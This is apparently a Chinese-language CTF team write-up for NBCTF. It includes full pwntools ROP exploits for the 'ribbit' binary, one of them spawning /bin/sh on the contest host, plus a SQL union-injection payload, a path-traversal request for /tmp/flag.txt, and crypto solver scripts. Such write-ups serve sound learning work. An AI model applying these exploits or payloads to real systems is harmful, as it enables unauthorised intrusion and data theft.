本次国际赛sakana战队拿下112名, 解出题目如下所示:
以下为解出题目与比赛结束后检验过能解出的题目:
pwn
ribbit
ret2syscall的一道比较模板的题
思路一:
构造数据满足win函数
随便找一个bss段的位置。
然后ROP出一个read就行。然后win函数的两个参数分别对应rdi 和 rsi,那么利用 pop_rdi 和 pop_rsi 指定参数即可。
#!/usr/bin/python3
#coding:utf-8
from pwn import *
import sys
import time
import os
import base64
from struct import pack
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
global filename,libc,libcname,host,port,e,BreakPoint,p
s = lambda data : p.send(data)
sa = lambda text,data : p.sendafter(text, data)
sl = lambda data : p.sendline(data)
sla = lambda text,data : p.sendlineafter(text, data)
r = lambda num=4096 : p.recv(num)
rl = lambda : p.recvline()
ru = lambda text : p.recvuntil(text)
pr = lambda num=4096 : print(p.recv(num))
inter = lambda : p.interactive()
l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data : int(data,16)
lg = lambda s, num : p.success('%s -> 0x%x' % (s, num))
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript = BreakPoint)
elif args.REMOTE:
return remote(host, port)
else:
return process(e.path)
ret_addr = 0x040101a
pop_rdi = 0x0040201f
pop_rsi = 0x0040a04e
pop_rax = 0x00449267
pop_rdx = 0x000047fe1a
syscall_ret = 0x000414d26
bss_int_addr = 0x00004C72A1
bss_chr_addr = 0x00004C72C0
win_addr = 0x000401825
def exp():
payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)
#1.string = You got this! Just do it!
payload += p64(pop_rax) + p64(0x0)
payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)
payload += p64(pop_rdi) + p64(0)
payload += p64(syscall_ret)
#2.布置传参
payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef)
sla("Can you give my pet frog some motivation to jump out the hole? ",payload)
pause()
# payload2 = b"You got this!"
# payload2 = payload2.ljust(0x15,b'\x00')
# payload2 += b'Just do it!\x00'
payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00"
sl(payload2)
inter()
if __name__ == '__main__':
filename = './ribbit'
# libcname = ''
host = 'chal.nbctf.com'
port = 30170
e = context.binary = ELF(filename)
# libc = ELF(libcname)
BreakPoint = '''
b frog
'''
p = start()
exp()
思路二:
不管win函数,反正程序能执行system(/bin/sh),那么直接ret2syscall做就行。
先利用syscall实现一个往bss段写/bin/sh的read函数,然后再实现一个system函数就行。
EXP:
#!/usr/bin/python3
#coding:utf-8
from pwn import *
import sys
import time
import os
import base64
from struct import pack
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
global filename,libc,libcname,host,port,e,BreakPoint,p
s = lambda data : p.send(data)
sa = lambda text,data : p.sendafter(text, data)
sl = lambda data : p.sendline(data)
sla = lambda text,data : p.sendlineafter(text, data)
r = lambda num=4096 : p.recv(num)
rl = lambda : p.recvline()
ru = lambda text : p.recvuntil(text)
pr = lambda num=4096 : print(p.recv(num))
inter = lambda : p.interactive()
l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data : int(data,16)
lg = lambda s, num : p.success('%s -> 0x%x' % (s, num))
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript = BreakPoint)
elif args.REMOTE:
return remote(host, port)
else:
return process(e.path)
ret_addr = 0x040101a
pop_rdi = 0x0040201f
pop_rsi = 0x0040a04e
pop_rax = 0x00449267
pop_rdx = 0x000047fe1a
syscall_ret = 0x000414d26
bss_int_addr = 0x00004C72A1
bss_chr_addr = 0x00004C72C0
win_addr = 0x000401825
def exp():
payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)
#1.string = You got this! Just do it!
payload += p64(pop_rax) + p64(0x0)
payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)
payload += p64(pop_rdi) + p64(0)
payload += p64(syscall_ret)
#2. execve("/bin/sh",NULL,NULL)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0)
payload += p64(pop_rdi) + p64(bss_chr_addr)
payload += p64(syscall_ret) + p64(0xdeadbeef)
sla("Can you give my pet frog some motivation to jump out the hole? ",payload)
pause()
payload1 = b'/bin/sh\x00'
sl(payload1)
inter()
if __name__ == '__main__':
filename = './ribbit'
# libcname = ''
host = 'chal.nbctf.com'
port = 30170
e = context.binary = ELF(filename)
# libc = ELF(libcname)
BreakPoint = '''
b frog
'''
p = start()
exp()
MISC
do you hear that?
简单的音频隐写签到题
解出flag:nbctf{y0u_h4v3_s0m3_g00d_34rs}
crypto
Caesar Salads
题目如下所示:
Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}
很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:
解出flag:nbctf{hope_this_wasnt_too_hard_of_a_start}
32+32=64
两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:
import base64
def decode_base64_multiple_times(encoded_str, num_times):
decoded_str = encoded_str
for _ in range(num_times):
decoded_str = base64.b64decode(decoded_str)
return decoded_str.decode('utf-8')
def main(file_name):
file_path = file_name# "32_{}.txt"
num_decodes = 32
try:
with open(file_path, 'r') as file:
base64_encoded_string = file.read().strip()
result = decode_base64_multiple_times(base64_encoded_string, num_decodes)
return result
except FileNotFoundError:
print(f"Error: File '{file_path}' not found.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
flag = ""
for i in ["32_1.txt","32_2.txt"]:
flag += main(i)
print(flag)
解出flag:nbctf{h0pE_y0U_h4d_fUn}
Rivest Shamir forgot Adleman
rsa, 但是细看会发现有点不太一样, 看部分源码:
m = bytes_to_long(b"nbctf{[REDACTED]}")
ct = (m^e) % n
latex写多了, 一直没想起^
在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:
n = 13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873
e = 123589168751396275896312856328164328381265978316578963271231567137825613822284638216416
ct = 159269674251793083518243077048685663852794473778188330996147339166703385101217832722333
from Crypto.Util.number import *
pt = b"flag{fake_flag}"
u = 0
while pt[:5] != b"nbctf":
m = (ct + (n * u)) ^ e
pt = long_to_bytes(m)
u += 1
print(pt)
讲个笑话, 我一直以为取模起作用了, 开始是令u = 1
, 爆破了好久没出结果, 然后自己随便取了个flag{test}
反推, 发现m^e
可能会小于n
, 把u
改为从0开始秒出结果:
解出flag:nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}
SBG-ABW's Insanity
经检验getPrime(1096)会获取长度330的随机素数.
当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的q1
, 已知n1
和n2
共用了p
, 其中有
由模运算的定义可知可被n1整除, 同理可被n2整除, 即, 再将结果进行反代: , 其中q为330位的素数.
接下来使用python求出:
ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749
ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824
from Crypto.Util.number import bytes_to_long
from Crypto.Util.Padding import pad
from gmpy2 import gcd
m = bytes_to_long(b'we give you this as a gift!')
e = 11
p = gcd(pow(m,e) - ct1, pow(m,e) - ct2)
q1_v = (pow(m,e) - ct1) // p
print("q1*v = ",q1_v)
# q1*v = 9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588
用网站先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
import hashlib
enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f"
q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243
key = hashlib.sha256(long_to_bytes(q1)).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(enc_flag))
print("flag is:",flag)
# flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03'
解出flag:nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}
Too Little Information
原理:
使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。
使用sage进行Coppersmith定理攻击:
ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534
e = 65537
n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961
hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200
from Crypto.Util.number import *
p_ = var('p_')
approx_p_plus_q = hint << 200
approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0])
PR.<x> = PolynomialRing(Zmod(n))
f = approx_p + x
x = f.small_roots(X=2**200, beta=0.4)[0]
p = int(f(x))
q = n//p
d = pow(e, -1, (p-1)*(q-1))
print("flag = ",pow(ct,d,n))
#flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149
#print(long_to_bytes(pow(ct, d, n)))
#nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}
可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:
解出flag:nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}
web
Inspector Gadget
旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:
-
直接进入其中一个网页找到标题flag1/4
-
在js里面找到隐藏文件
supersecrettopsecret.txt
, 访问后拿到flag2/4 -
让图片丢失后显示flag3/4
-
扫目录在
mysecretfiles.html
拿到flag4/4
最后组合后解出flag:nbctf{G00d_J06_D3tectlv3_G4dg3t352}
walter's crystal shop
sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:
Amethyst' union select 1,2,flag from flag--+
查询后拿到结果:
解出flag:nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}
Galleria
因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从Dockerfile
文件可知flag以flag.txt
形式存放在/tmp/flag.txt
处, 审计源码, 这里贴出部分比较关键的代码:
def check_file_path(path):
_path = Path(path)
parts = [*Path.cwd().parts][1:]
for part in _path.parts:
if part == '.':
continue
if part == '..':
parts.pop()
else:
parts.append(part)
if len(parts) == 0:
return False
_path = os.path.join(os.getcwd(), path)
_path = Path(_path)
return _path.exists() and _path.is_file()
@app.route('/gallery')
def gallery():
if request.args.get('file'):
filename = os.path.join('uploads', request.args.get('file'))
if not check_file_path(filename):
return redirect(url_for('gallery'))
return send_file(filename)
check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问[网站地址]/gallery?file=/tmp/flag.txt
拿到flag.
解出flag:nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}